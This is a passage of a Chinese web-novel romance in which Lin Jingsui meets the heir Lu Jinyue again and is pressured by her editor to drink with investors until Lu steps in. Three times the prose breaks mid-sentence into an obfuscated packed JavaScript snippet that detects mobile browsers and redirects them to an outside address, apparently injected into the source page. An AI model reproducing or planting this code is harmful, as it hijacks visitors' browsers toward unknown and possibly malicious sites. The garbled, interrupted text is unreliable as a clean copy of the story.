刚转入陵川一中时,林惊岁曾有幸去观摩过一场高校举办的奥数竞赛。 陵川一中向来以竞赛水平碾压鹿宜市其他学校,高层校领导又最爱面子,早早就告诉过拔尖班的几个竞赛常驻选手,必须拿下这次比赛。 几所名校联名参与的竞赛题目难度很高,就连傅清寒也被最后一道大题难住。 听闻此事的林惊岁马不停蹄赶去比赛现场。 大厅内的观众席上围满了不少凑热闹的学生,三个年级皆有。 前台上还有不少拧眉沉默的领导,时不时强颜欢笑安慰在场的其他学生。 时间一分一秒流逝,傅清寒也没能有所进展。 危急时刻,几个男生马马虎虎地推搡着蓝校服男生穿过人群,走进赛场中心,边跑边朝校领导喊道,“老高老高,我们把路今越绑过来了!” 名叫老高的黑胡子老师看到后,骂骂咧咧地背手走过去,面上波澜不惊,实则脚下的步伐不自觉地加快了许多。 他直奔中央瘦高的少年,伸手拎过他的袖子,故意呵斥道,“双人竞赛,你溜哪儿去了?知不知道这都什么时候了?” 在老高继续啰嗦之际,路今越伸手示意打住,侧目看向大屏幕的题目,以及时间越来越紧张的倒计时,不到十分钟。 路今越睨了一眼台上沉默的傅清寒,笑说,“老高,不是我任性,傅总昨天可告诉我了,今天的竞赛不需要我,他一个人也能行,那我怎么好意思抢了他风头?” 先发制人,噎住了想要唠叨不停老高。 老高自然清楚这小子脾性,呵呵两句也不敢多说,只是一边向其他参赛学校解释原因,一边让路今越赶快上场。 林惊岁就在后面的观众席上,听得倒是挺清楚。 她也瞥到了围在人群中央的男生,高高瘦瘦,但五官立体精致,像是小刀精雕细刻出来的。 其他参赛学校院队也没拒绝,毕竟他们不认为不到十分钟的时间,眼前这个看起来吊儿郎当的男生能把最后一道大题解出来。 路今越三步并作两步上台,盯着大屏幕上的题目片刻,随后自顾自找了块板子开始答题,全程没有给傅清寒一个眼神。 自那时起,两人的梁子也就这么结下了。 不过早在林惊岁转学之前,就听说了有一个与傅清寒同级的死对头,名叫路今越。 林惊岁抬头看向那道竞赛大题,闲得无聊时也浅浅算了一下。 虽然直接解出来太难,但她曾经自己尝试过相似的变式做法,闲来无聊的时候也曾试着解过。 题目不太一样,但大致思路应该是相似的。 幼时林惊岁常去外公家玩,外公对奥数竞赛颇有研究,所以自己也跟着耳濡目染了一些年,只是后来很少尝试罢了。 大屏幕上的倒计时越来越接近尾声。 而路今越依旧不慌不忙地答题,旁若无人,丝毫没有被嘈杂的观众议论声打扰。 最后大屏幕的倒计时停留在00:51,路今越迅速按下按钮输入答案。 答案正确。 竟然真的解了出来! 伴随着哄闹欢呼声,沉默半场的校领导也久违地露出了笑容,恢复了一副低调谦虚的模样,向其他参赛队伍介绍这个带领陵川团队扳回一局的核心人物。 林惊岁紧跟着提起来的心跳也骤然放松下来,也许是受到周遭同学欢呼声的感染,她也忍不住跟着鼓掌喜悦。 但很快,林惊岁的目光又凝在了独自离开的傅清寒身上。 周遭的热闹与她无关,林惊岁拿着买好的水追了出去。 再后来的事情,林惊岁也并未关注,只不过,傅清寒身边早有了温禾安慰陪伴,似乎也并不需要她。 * “姐姐!”张子顺飞奔过来,扑进她怀里抹眼泪,把思绪飘转的林惊岁喊了过来,“我错了,我再也不乱跑了呜呜呜——” 林惊岁可不是贤惠懂事的妈妈,在张子顺面前,林惊岁更宁愿做个恶毒姐姐。 所以在这个小屁孩抱着她大腿狂哭不止时,林惊岁一把将他扯开,皮笑肉不笑道,“张子顺小朋友,今天又想怎么解释呢。” “我、我那个,”张子顺嘟囔说,“我还小,你就不能再让我一次吗?” 听到这话,林惊岁险些气笑,索性直接蹲下身,掐着他的脸颊肉,稍微使劲儿说,“我也是第一次做姐姐,凭什么要让你?” “小气鬼!” “臭屁精!” 林惊岁懒得和他计较,检查过他身上没有伤时,才忽的想起来刚刚的那个男人,以及张子顺的经历。 张子顺回过头瞧了一眼,奇怪道,“欸,那个哥哥不见了,是不是走了?” 扫视一圈,的确没有看到他的身影,林惊岁索性也放弃了。 那张面容相较于记忆中的画面,眼下似乎更加成熟锐利,透着一股生人勿近的疏远感。 “算了,”林惊岁说,“今晚还要带你去找妈妈呢,走吧。” 路上,张子顺念叨个不停,“岁岁姐,你是不是认识那个哥哥?” “算是吧。” “哦,那他想占你便宜。” “?” “他让我喊他爸爸。” “然后呢?” “我喊了。” “……” “张子顺,你这张嘴下次不想要了可以不要。”林惊岁掐了他一把。 “错了错了!”小屁孩求饶倒是迅速。 林惊岁打开手机时才发现时间已经很晚了,接到电话过来的赵钰宁抱着张子顺哭了半晌,鼻涕眼泪蹭了他一身。 以至于张子顺小朋友面无表情地暗自发誓,“安啦安啦,下次我再也不会把宁宁姐弄丢了。” 赵钰宁没好气地给了他一个暴粟。 两人打闹互怼期间,林惊岁的手机忽的弹出一条聊天信息,来自新朋友“Lstar”。 「Lstar:你儿子还你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002718|161838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。」 林惊岁看着那简简单单的一行字,总觉得有些尴尬。 毕竟算起来,他们已经有五年没有见过面了,记忆里,他好像一直住在国外,不知道什么时候竟然回来了。 而且,路氏集团长子还是傅清寒给她指定的联姻对象。 神秘的Lstar大爷竟然还是路今越!好吧,确实是大爷,林惊岁把这些话藏心底。 出于礼貌,林惊岁还是缓缓打出一行字。 「LJS:谢谢,今晚麻烦你了。」 林惊岁反复输入又删掉,最后还是礼貌性地说了句,「有机会请你吃饭。」 不过,路今越那人性子高傲,大概率是不会同意的。 「Lstar:嗯。」 简简单单品不出任何情绪的一个字,嗯。 什么意思? 他同意她请客吃饭? 林惊岁顿时慌了,屏气凝神又打了几个字,可都觉得不太合适,删删减减最后还是放弃了。 另一边,沉默寡言的路今越坐在后座,修长的指尖时不时戳开手机屏幕,视线扫过最上面的一行字。 【对方正在输入中……】 可持续许久,最后却了无音讯。 路今越没说什么,只是收了手机,淡淡地挪开视线,望向窗外灯红酒绿的夜景。 鹿宜市繁华迷人,尤其是跨年夜,更显热闹烟火气。 钟皓念念叨叨说了许多,最后又问了一句,“今晚你回哪儿住?” 路今越头也不抬,吐出两个字,“公寓。” 回国后,路今越也在别墅住过一段时间,但奈何自家老爷子和亲妈都在催自己去联姻,生怕他再晚点,就是大龄剩男似的。 以至于路今越连夜搬出了路家别墅,暂时租了一个小区公寓住。 向来含着金汤匙的路大少爷,竟然也愿意缩在一间小公寓里面办公。 每次提起来这事,挥霍无度的钟皓总会补一句,“真给我们这群败家子丢脸。” 路今越选择沉默。 但今晚,钟皓无法保持沉默,因为他看得清清楚楚,那小屁孩儿的妈,分明就是他们高中的那个仙女妹妹——林惊岁! 因为一张被抓拍到的跳舞照片而火爆整个陵川一中,甚至在网上广为流传被称作氛围感照片的神。 由于照片中翩翩起舞的美女妹妹恍若天鹅般优雅柔美,又好似夜中的降凡的仙女,所以当时不少人戏称仙女妹妹。 钟皓感慨说,“仙女妹妹都生小孩儿了?时间怎么过得这么快?她才多大啊,而且我怎么不知道她结婚了?” “我靠我知道了,”钟皓回头怒视道,“路今越,你可真不干人事啊!宁愿去看私生子都不愿意给她一个名分?” “钟皓,你大爷的,”路今越冷笑,“我要是知道谁这么不干人事,我让他以后都干不了人事。” 钟皓扫了他一眼,“对自己也挺狠的。” 路今越:“……” 12. 12 12 “小林呐,”责任副主编孙博示意她,“待会儿你同我出去一趟,做个专访。” “嗯好。” 林惊岁抬头应声,旋即放下手中的电脑鼠标,起身简单收拾了一下东西,然后往外走。 时间渐晚,窗外早已染上了绯红的日暮霞色,苏芬小声蛐蛐,“都快要下班了还要去做专访,摆明了就要强制加班嘛。” 杨和探出脑袋附和,“就是就是,再者说,孙老头都多久没做过专访了,怎么今晚突然就要带着岁岁姐出去做专访?” “谁知道呢,”苏芬耸耸肩,“兴许今晚他老婆又跟人出去了,他一个人憋得慌呗。” “我靠,那岁姐是不是有点危险啊?”杨和担忧地看了眼径直往孙博办公室走的林惊岁。 他刚想起身喊住她,提醒林惊岁不安全,但苏芬立刻拦住他,看了眼办公室说,“孙博不比李荣保老奸巨猾,但性子倔,你要是现在拦她没有一个合理且正确的解释,恐怕你就要玩完儿。” “那林惊岁她——” “欸,岁岁她机灵着呢,没你那么鲁莽,再者说,你现在在想的事情都只是猜测,公司有规定,不能影响正常工作进度。” 苏芬也在公司摸爬打滚多年,论经验与眼力劲儿简直比杨和这样的新人强太多。 她对林惊岁照顾归照顾,但是若是涉及到她的工作根本,她也是很聪明地避开。 毕竟一个人再好,也没办法养她一辈子,职场就是这样,利益为上。 能同杨和多说两句,已经算是苏芬的失误,她怎么可能因为一个猜测去让杨和莽莽撞撞地连累她自己? 听完苏芬的这番话,杨和也下意识地按耐住那股冲动,芬姐说得对,以自己的资历,如此鲁莽地冲过去,仅凭猜测,完全就是恶意造谣。 杨和平复下心情,目送林惊岁的背影消失在转道口,旋即再次投入到工作中。 路上,由于此次行程仅有林惊岁和孙博参与,所以林惊岁主动扛起了摄影装备,两人开公司的车过去。 但林惊岁没有驾照,所以全程由孙博带路,正好免去了调整导航的功夫。 “小林,听说你对跳舞很有研究?”孙博头也没抬,忽然没来由得问了句。 林惊岁微怔,然后如实道来,“算是吧,小时候挺喜欢的,后来不怎么练了。” “为什么不练了,我倒是觉得看你跳舞肯定是种赏心悦目的事情。” “出过车祸,腿受了伤,”林惊岁平静道,“后来为了学业,就很少跳了。” “原来如此,”孙博感慨,“那还挺可惜的。” 又是一阵沉默,林惊岁别过头去望着窗外风景,连呼吸都变得小心翼翼,毕竟这位孙博从某种程度上来说,要比李荣保还要难缠。 李荣保是利己主义且抠门压榨的老板,但孙博与他完全不同,或者说,孙博是一种追求完美主义的人。 他沉默寡言,但对于工作的要求如同艺术家绞尽脑汁处理自己的艺术品似的,必须精雕细琢。 孙博现如今也已经三十多岁,但依旧单身,满脑子都是工作,办公室的同事也都戏称他为工作狂。 以至于跟着孙博工作的员工常常苦不堪言,哀声一片。 林惊岁有幸跟在孙博身后工作过一段时间,但是由于她自身对工作要求也比较严格,再加上她对于新闻传媒行业也颇有天赋,所以并不算太糟糕。 反而对于孙博的态度很欣赏。 只不过孙副主编也像个闷葫芦,若是有其他人在,林惊岁还能搭上两句话解闷,但是今天晚上仅有林惊岁和孙博两人,沉默便一直如影随形。 过了许久,林惊岁看着遥遥无期的路程,忍不住问,“孙总,我们这次难道不是去中央广场做每周一次的随机专访活动吗?怎么我看这个路程好像不太对?” “那个专访已经做过了。” “那我们现在是去哪里?” 孙博顿了下,没有直接回答,反而岔开话题,“会喝酒吗?” 林惊岁心生警惕,若无其事地低头扫了眼手机,随口道,“不太会喝。” “那刚好。” “嗯?” “今天带你去练练。” 林惊岁心跳加速,她问,“孙总,我有点听不懂您的意思?” “不需要听懂,待会儿到了地方,按我说的做就行。”孙博说完,继续专心致志地开车。 听完,林惊岁也没反驳,更没有挣扎,只是划开手机,说,“没问题,不过我需要跟我男朋友报备一下。” 孙博抬头,透过后视镜看了眼旁边的林惊岁,状似无意地问道,“你有男朋友了?没听办公室的同事提起过。” “嗯有了,”她说,“也是最近的事情,不过也不算什么大事,所以就没怎么在办公室提起过。” “这样啊,”孙博又睨了眼她的手机,说,“那你顺便同他说一声,我们晚点回去。” 林惊岁心里咯噔一下,然后回了个字:“好。” 她攥紧手里的手机,给置顶的人发了条消息,旋即平复起惴惴不安的心绪。 可直到下了车,那人依旧没有给她回复任何消息。 没看到么? 还是说,他不想回? 林惊岁恍若跌进深谷,全身没了力气,但还是勉强支撑着给另一个人发了条消息。 “小林,设备不用拿了,直接跟我进去。”孙博锁好车门,对她吩咐说。 “来了。” 林惊岁回头看了眼身后的酒店,一股不安的情绪在心中蔓延,但她依旧保持镇定,默默把信息发出后就关上手机,主动跟上。 孙博说,“待会儿我会和一个股东谈话,但那个股东有个癖好,喜欢喝酒。” 林惊岁反应迅速,“所以孙总,您找我过来就是为了陪酒吗?” 他顿了下,又说,“这次合作挺重要的——” 话未尽,但意义已经明了。 林惊岁说,“但我喝不了。” “你可以选择喝不了,但是你在公司努力那么久的心血,恐怕就要全部作废。” 孙博说话直接,话里话外的冷血与寒意逼得林惊岁冷不丁打了个哆嗦。 “傅氏和你之间的关系我多少也清楚了些,”孙博停下脚步,看着她说,“目前鹿宜市除了我们公司,几乎没有其他人敢公然和傅氏作对,冒险招你进来。” 不服从,就要失去现有的一切,回到傅家做金丝雀; 服从,就要忤逆她的初衷,喝酒喝到吐。 林惊岁很清楚他的意思,孙博完全有这样的能力和权力,她只沉默了三秒,然后深吸一口气说,“孙总您带路吧。” “想通了?”孙博有些意外。 她却笑,“我有我的底气和安排,您竟然想好了带我过来,想必也清楚我的性格,您用我的事业拿捏我,我实在没法拒绝。” 您先设计她的,至于林惊岁如何做, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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语意晦暗。 但孙博与林惊岁早已清楚。 孙博笑着把林惊岁往前推了下,他早就看到王总迫不及待的视线,于是主动介绍说,“小林,这是王总,他酒量向来好,你可要陪好。” 林惊岁脊背微僵,不可置信地看着就这么轻而易举把自己往前推的孙博,压低声音问,“干喝啊?” 都不就两盘花生米吗? 孙博递给她一个眼神儿,吩咐说,“都是正经人,喝不了多少。” 说话间,刚刚跳舞的几个女人纷纷围绕在那几个老总的身侧,娇声灌酒,包臀裙下的春光若隐若现,惹得林惊岁红了脸颊,赶忙转移视线。 余光里,孙博的视线也开始躲避,此刻的孙博哪里像刚刚的游刃有余的主编? 分明像是纯情老boy啊。 但好在他经验丰富,面对这种场面也已经见惯不惊,自然而然地坐下陪酒。 只剩林惊岁干站在那中年发福的王总身畔,不知所措。 她是有准备的,但明显准备少了。 思索间,包间门又刷的一下被推开,走进来一个身姿修长、宽肩窄腰的男人,洒落在他鼻梁处的霓虹灯勾勒出他高挺的鼻梁,仿佛浑然天成的一股疏远与冷意弥漫周身。 林惊岁愣住,身影暴露在灯光下,与路今越对视一眼。 一瞬间,两人眼中都浮现了一抹意外之色,似乎没料到对方会出现在这里。 13. 13 13 见他进来,几个老总都忍不住放开怀里的美人,王总率先带头,恭维道,“路总回来了,快来快来,这位就是我上次给您介绍的那个孙博,杂志社的副主编。” 路今越收回眼中的狐疑之色,若无其事地掠过林惊岁,在主位上坐下,坐姿懒散。 若忽略掉其他老总对他的尊敬,路今越仿佛就是一个玩世不恭的公子哥。 他扫了四周,开口说,“大家继续玩儿。” 有了这句话,其他人这才敢放下警惕,继续沉浸于酒色之中,而路今越坐立于他们之间,仿佛是个怪胎。 灯光凝在他身上,仿佛是天生的主角与焦点。 林惊岁愣神片刻。 下一瞬,王总一把攥住她白皙修长的手,往他怀里扯人,“小林是吧,来,喝完这瓶酒,哥给你砸一万好不好?” 路今越余光瞥到此,心不在焉地找旁人点了根烟。 那人愣然,脱口而出,“路总,你不是不抽——” “让你点就点。” “好好。”那人照做。 林惊岁猝不及防往他怀里倒,她刚还在挣扎,但一听一万顿时愣住。 见她回头看自己,王总还以为是她心动了,有点扫兴,他其实更想听美人儿尖叫兴奋的声音。 他刚觉得没趣,又听这姑娘一本正经地说,“哥,不够。” “?” 路今越手中夹着的香烟燃着,在这昏暗的包间内成了仅有的一点火光,他顿觉烦躁。 林惊岁自幼在豪门长大,有些数目见得多了其实就会觉得没什么大不了的,所以她说,“哥,包养小姑娘也得有实力啊,有些人什么都不做就能拿到几百万,怎么我喝完酒只能拿一万啊?” 王总陷入沉默,“那你觉得多少合适?” 她伸了个数字,“七位数。” “多、多少?”王总呆住,“你他妈喝老子一瓶酒,还要老子给你七位数?你特么也配?” “我觉得我挺配的,”林惊岁说,“我家里人比较宠我,自幼没让我受过委屈,换做我父母,我喝杯水都要给我七位数呢。” 我还给你打折扣了,就知足吧。 王总上下扫了她一眼,看起来就是一普通的社畜打工妹,不知道的还以为他撸了圈子里哪家的宝贝明珠呢。 “你不喝,你们孙总的合同,我恐怕就没法儿同意咯。”王总往后大剌剌一靠,满是小人得意。 孙博看了眼林惊岁,眼神示意,又提醒说,“小林,别跟王总闹不愉快。” 她喝多了顶多洗胃,而自己痛失的可是一份大合同。 路今越没由头的撩起眼皮,扫向林惊岁,偏头问,“签合同的?” 孙博替她回答,“对,路总,这是我助手。” “没问你。”路今越不耐烦地看他,眼底的冷意忍不住让孙博咽了下口水,点点头回座位。 林惊岁说,“对,签合同的。” “会才艺么?” “什么?” “唱歌,跳舞,随便都可以。” 路今越单手撑着下颌,视线一眨不眨地凝在她身上,犹如在看一件唾手可得的猎物,极具侵略性。 向来老练的王总一眼便注意到此,暗暗在心中谋划。 林惊岁抿唇看他,说,“唱歌吧。” “行,”男人坐在阴翳中,下巴指了下,薄唇轻启,“来一首。” 末了,他又补充,“你喝酒想要七位数,唱歌,我给九位数,唱一首,砸一个。” 以亿为单位。 “当真?” “当真。” 林惊岁抿唇,知道他有钱,没想到他有钱到这个地步。 “路总,我也不占您便宜,只唱一首就够了。” 万一他玩不起,一个子儿都不给她,那她唱的多岂不是吃了大亏? 虽然占得挺多了,但没办法,他愿意给,自己也不好拒绝吧。 路今越翘着腿,单挑眉看她。 林惊岁接过陪酒舞女递来的话筒,然后当着众人的面,挑了首老歌。 “不好意思,献丑了。” “谦虚。”王总留意着路今越的神情,捧场说。 林惊岁语气真挚,“那倒不是,我不是一个谦虚的人。” 王总:“……” 这妹子,怪会拆他台的。 路今越没抽烟,任由手里的烟一直燃烧,灰烬掉落在他脚边,而他的眼神则一直在林惊岁身上。 但林惊岁着实没说谎,她唱歌跑调,还不是一般的跑调,明明清纯干净的音色一到了唱歌上面,仿佛是有人恶意夹嗓子拉二胡。 王总与孙博几人实在觉得无法直视眼前长相干净的姑娘吐出如此晦耳的歌声,纷纷挪开视线。 王总心说:妹子,哥给你点儿钱,你别唱了行不? 一曲终了,林惊岁老老实实地站在一边,不想同王总再有任何联系,当然,此事过后,那王总也不太想和她有交集。 路今越说到做到,吩咐身边的人把银行卡递给她。 “没密码。” “我会随便刷的,谢谢路总。”林惊岁露出一个礼貌的微笑。 “……” “想签合同么?”路今越看着她收下那张银行卡,心情舒缓不少,嘴角隐隐挂上一丝笑意。 林惊岁看着孙博,察觉到孙博眼底炙热的渴望希冀,以及几分心虚的担忧。 毕竟刚刚的孙博行为言语上哪一条单拎出来,都像是为了上位把人家姑娘往火坑里推。 明眼人都清楚,但凡林惊岁是个聪明人,在眼下路大佬决心偏袒她的时候,最好“仗势欺人”,为自己报仇雪恨才是。 所以几乎其他人全部断定,林惊岁会拒绝这个合同,然后趁势踹掉孙博,傍上路今越这个大佬的豪华游轮。 路今越没移开目光,始终望着聚光灯下的林惊岁,恍惚间仿佛想到了什么,这个场景似曾相识。 他凝眸,又问了一遍,“想签合同么?” 语气倒像是堂而皇之地问——想被包养么? 名利圈内复杂多变,不少有权有势的人都会选择包养漂亮的女人“豢养”在身边,如同笼中的金丝雀。 在场的人大多明白这个道理,只是心中有个疑惑,路家长子路今越向来是出了名的不近女色,怎么今夜对一个杂志社的小助手如此感兴趣? 林惊岁问:“什么条件?” “你想?” “对。” 众人微愣,暗暗想:这女的缺根筋吧?刚刚孙博差点把她推进王总的怀里,现在还一心想着签合同? 她是真的看不出来路总此刻对她的兴趣么? 还是说,路总今夜遇到了个极品傻白甜? 路今越笑笑,手里的烟忽明忽暗,可他却并未抽,“不是什么很难的条件。” 林惊岁眸光微动。 “笑一个。” “?” 路今越歪了下头,笑意慵懒带痞,抬手间像是在玩弄一只熬人的雏鹰。 明明之前的路今越,虽然冷了点,但对她从未有过这样略显怒气的神情。 逼得林惊岁脊背微凉。 他双手支撑在膝盖上,合手补充说,“笑一个给我看看,好看,我就做主,签了这份合同。” “就这么简单?” “就这么简单。” 林惊岁微怔,位于核心食物链顶端的男人此刻正眼睛一眨不眨地看她,盯得她浑身发毛。 可林惊岁还是相信,路今越不会骗她。 也不知道这是哪里来的底气。 而正是这股底气,推着她上前,直至走到路今越身旁。 但意外的是,她没有在路今越面前半跪下身,像金丝雀般仰头看他。 相反,林惊岁居高临下地望着男人,命令似的说,“抬头,看着我。” 众人心里咯噔一下,舞女们为路今越鸣不平,“你谁啊,这么没有眼力劲儿?在路总面前要蹲下身子虔诚仰望!” “路总,她这么不情不愿多侮辱您?”一个美人走上前,蹲下身跪着靠近,“路总,不如让我来?我笑得肯定比这个不识好歹的女人好看。” 说罢,那人娇滴滴地朝他勾笑,不安分的手顺势往前伸。 就在即将靠近时,路今越却冷冷地攥住她手腕,嫌弃地丢开。 “笑得真丑。”路今越没给她好脸色,又说,“好好的脸,别让你的心给弄脏了。” 林惊岁瞥他,有些意外。 丑的不是脸,是心。 这点林惊岁还挺认同的,毕竟她也觉得,那个美人挺好看的。 那人被路今越的气场吓到,又听到如此张扬地冷嘲热讽,顿时吓得脸色苍白,不敢靠前。 而路今越的眸光好似十分吝啬于其他人,格外大方地落在林惊岁身上。 “继续。” 他仰头,望着林惊岁。 如此高位的掌权人,竟然听从于似乎不太熟的初入社会的小记者,众人大惊,却依然屏气息声。 林惊岁回过神来,低头看着他,两人之间的距离一下子缩进,只要路今越稍一勾手,面前的女人就会顺势禁锢在他怀中。 可他没有,只是仰望。 缓了许久,林惊岁弯起嘴角,朝他露出一个假心假意的甚至有些丑的笑容。 别扭,虚假,掺杂着些不悦,与反抗。 可路今越只是把这一副画面尽收眼底,刻印在脑海,然后淡淡收回视线,满意道,“嗯,挺好看的。” 王总:“?” 美人:“?” 路总,您眼睛是海鲜大餐里秀大虾,纯瞎吗? 林惊岁努努嘴,毫不客气得附和道,“你眼光不错,我也觉得。” 但她压根不在意。 他觉得好不好看,和她没关系。 “合同的事情——” “不骗你,”路今越侧目睨了一眼王总,“小王——” 王总立刻低声点头,“路总,您放心,我明白了。” “嗯。” 眼见路今越对这个姑娘的兴趣愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002720|161838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加浓烈,王总趁热打铁,献宝似的说,“既然路总喜欢听,不如让小林再多陪路总一会儿?” 几位大佬也纷纷附和,开口顺着把林惊岁往路今越身边推。 路今越弯唇,淡声说,“也不是不行。” 听到此,林惊岁微微瞪大双眼,而旁边的王总则更努力地拱火。 孙博见状,知晓再不加以控制,恐怕这场陪酒会,就会真的变成一场赤裸裸的贿赂交易。 而且,刚刚的林惊岁甚至主动帮他合同的事情,让本来心灰意冷打算放弃的孙博顿时对她印象有了翻天覆地地转变。 可他明明来之前都已经严密计算过,这位新贵路总根本不是贪图美色酒肉之徒啊? 难道是他有漏洞? 孙博示意林惊岁说,“小林,你男朋友是不是该催你回去了?” “啊对,”林惊岁如同抓住了惟一的一根救命稻草,掏出手机说,“我男朋友等我挺久了,我得先走了。” 路今越夹着香烟的手蓦地一顿,就连烟火灼伤到了手指都浑然不觉。 还好有身边人提醒,他这才抬手摁灭香烟,随手丢进烟灰缸中,但整个过程并没有怎么抽。 “打吧,让你男朋友来接你。”路今越懒懒地往后一靠,似乎是故意同她作对,较真起来,“怎么,在骗我?” 不是都有小孩儿了么? 他倒是想看看,孩子他爹长什么样子。 林惊岁手指收紧,对上男人挑衅似的深邃眼神,心中咯噔一跳。 原本林惊岁在来这里之前,就已经给赵钰宁发了一条消息,并把房间号都统统告诉她,倘若出了问题,她肯定能注意到。 但是赵钰宁毕竟也是个女性,面对这群犹如豺狼虎豹的商人资本家,恐怕根本没有用。 而路今越也是故意为难她,丝毫不给她台阶下。 林惊岁顿了片刻,转而点进联系人,拨打电话,手机放在耳畔,她朝路今越弯着眼眸笑了笑,“好啊。” “我这叫打电话给我,男朋友。” 后三个字是一个字一个字从齿缝中蹦出来的。 路今越指骨无意识地攥紧,他咬了咬牙,眼底的阴郁挥之不去,连带着包间内的气场都下降了不少。 好,好得很! 正当路今越心底积郁的那通烦躁与闷热无处散去时,他面前桌子上的手机叮铃铃响了起来,在平静下来的包间内格外清晰,始终回荡。 其他几位老总也全都愣住,一个意想不到的结果就这么水灵灵地出现了。 男人低头扫了一眼,来电人:Fairy。 路今越眼底划过一瞬慌乱,然后反应迅速地拿起手机,下意识接通。 林惊岁歪着脑袋,玩笑似的语气说,“路总,您还满意么?” 好似有一只无形的大手紧紧抓住了路今越的心,又好似在蓄意挠他痒痒。 路今越喉结上下滚动,默了默,顺手挂断电话。 但一个渐趋成型的想法在包间内其他人的脑海中浮现。 这位叱咤商界手段狠辣的新贵,似乎有一个隐瞒所有人的小情人。 怪不得他们查不到,原来是嫂子藏得好藏得深呐? 也难怪刚刚路总气压如此冷,甚至公然在包间内挑逗林惊岁。 为博美人一笑,不惜豪掷数亿千金。 谁敢信路总的女朋友是个杂志社的小助手? 但两人都没有明确指出这一点,关于是否是情侣一事,即便有人仍存有怀疑,但并不敢在这个时候直接质问。 而此刻,目击整个全程的王总浑身血液冰凉,大脑一片空白,他颤颤巍巍地给自己倒了杯酒,酒杯都有些拿不住的感觉。 他现在恨不得给自己几个大嘴巴子,当着路今越和林惊岁的面大骂自己是畜生。 他都做了什么?! 当着路总的面,公然调戏路总的小情人。 靠! 但他依旧心存侥幸,自我安慰说:没事没事,肯定是假的,不然以路总的脾气,早就动手了。 路今越没说话,但林惊岁却懒得纠缠太多,再拖下去,恐怕赵钰宁就要拉着一车警察过来包围这里了。 于是,林惊岁简单收拾了一下,对孙博说,“孙总,我有点不舒服,先走了。” 孙博有些茫然,僵硬地点头回:“好好,你注意安全。” 然后林惊岁的视线又落在路今越身上,“改天我们两个人单独出去吃饭,别忘了哦。” 路今越没答话,但其他人心里仿佛又坠下了一颗偌大的巨石,掀起千层浪。 这特么不是完了吗? 瞅瞅这话说的,改天出去吃饭,还特意强调了一下是两个人单独出去,最后一句话的调快要转三回了,语气亲昵。 别忘了哦~ 王总彻底石化呆住:呵呵,丸辣。 他偏头,偷瞥了一眼路今越的神情,那嘴角一抹若有若无的笑意格外显著。 “……” 最后一点侥幸彻底破灭。 哥谭诞生了新的王者。 14. 14 14 傅清寒的生日宴上宾客众多,不少业界精英也齐聚一堂,不仅是为了庆生,更是为了趁机拉拢合作,来者皆心知肚明。 西装革履的男人谈吐自然,一如既往地游刃有余,身侧的女人风情万种,不少女伴也端着摇曳的红酒杯想要来分一杯羹。 娱乐圈鱼龙混杂,温禾有傅家保驾护航,又有傅氏集团友商的大力投资暗捧,与这些老油条们打交道也有几年时间,自然不会怯场。 甚至有不少人称赞,温禾越来越有富太太的风范。 所有人都不会在乎她曾经平庸的出身,只会看得到她身旁光鲜亮丽的掌声。 当然,只是不知究竟是富太太,还是傅太太。 虽然两人关系一直未公开,但明眼人都瞧得出来,傅清寒对温禾,可要比自己的小青梅上心多了。 鹿宜市下起了小雪,漫天鹅毛飞雪逐渐铺满了整个纵横交叉的街道,好似暖暖的白绒地毯。 林惊岁拎着礼装袋打车去了傅氏庄园,也是傅清寒的私人领地。 只可惜半路上车子出了点状况,耽搁了不少时间,林惊岁匆匆忙忙赶到以后,暗暗在心里说,看来有机会还是要考一下驾照。 门口的阿姨早早地等候着,刚见到冒着风雪回来的林惊岁,张姨便撑着偌大的黑伞迎了过去,伸手想要帮她拎过礼袋。 林惊岁笑着婉拒,说,“没事的张姨,我自己来就好,这些东西不沉。” 这款礼袋在豪门之中并不贵重,张姨也明白林惊岁的心意,自然也就不过多强求,先行为她引路去宴席。 路上,在经过一处亭子时,林惊岁忽的瞥见了一辆豪车,上面独有的标志忽的令她记忆翻涌,她喊住张姨,问,“张姨,今天宴席上都有谁过来?” 张姨思索道,“瞧我这记性,来的人太多了,除了向来与咱们傅家交好的几位股东,还有——” “有苏氏或路氏吗?”林惊岁直接问。 “有的!” 林惊岁的笑容戛然而止,凝固在脸颊,她心中咯噔一声,一股不好的预感油然而生,压得她喘不过气。 — 她忽的想起自己决心脱离傅氏而独立的那天,天公不作美,也是下了一场大雨。 别墅的琉璃色窗格上爬满了蜿蜒曲折的雨珠,啪嗒啪嗒凝聚而下。 隔着琉璃窗格,林惊岁呼出一口浊气,转过头来,沉声问,“傅清寒,我有选择的权利么?” 傅清寒只是走近,那双素来淡漠的眼睛在她脸颊上停留片刻,随后开口,“你与他协议结婚,事后,温禾会拿到她想要的资源,你想要的金钱名利地位,我们给你。” “我什么都不要。” 望着她一副倔强不肯服软的性子,傅清寒抬手替她理了理发丝,就像小时候那样,再熟悉不过。 可林惊岁却只察觉到了他指尖的冰冷,冷得她想要迅速逃离。 傅清寒声音含蛊,轻吐的气息喷洒在她脖颈,还有些痒意,“就当是,帮帮哥哥。” 